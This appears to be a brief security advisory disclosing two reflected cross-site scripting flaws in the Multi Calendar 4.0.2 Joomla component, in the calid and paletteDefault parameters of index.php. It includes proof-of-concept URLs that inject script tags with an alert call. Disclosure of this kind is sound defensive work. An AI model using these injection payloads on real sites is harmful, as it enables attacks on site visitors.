Joomla Multi Calendar 4.0.2 Cross Site Scripting

`Hello,  
  
Multiple cross-site scripting (XSS) vulnerabilities in Multi  
calendar 4.0.2 component for Joomla! allow remote attackers to inject arbitrary  
web script or HTML code via (1) the calid parameter to index.php or (2) the paletteDefault  
parameter to index.php.  
  
File: /tmpl/layout_editevent.php  
Lines: 161 and 481  
POC:  
http://site/index.php?option=com_multicalendar&task=editevent&calid=1";</script><script>alert('XSS');</script>  
  
File: /tmpl/layout_editevent.php  
Line: 319  
POC:  
http://site/index.php?option=com_multicalendar&task=editevent&paletteDefault=1"</script><script>alert('XSS');</script>  
  
Discovered by Mahmoud Ghorbanzadeh, in Amirkabir University of  
Technology's Scientific Excellence and Research Centers.  
  
Best Regards.  
`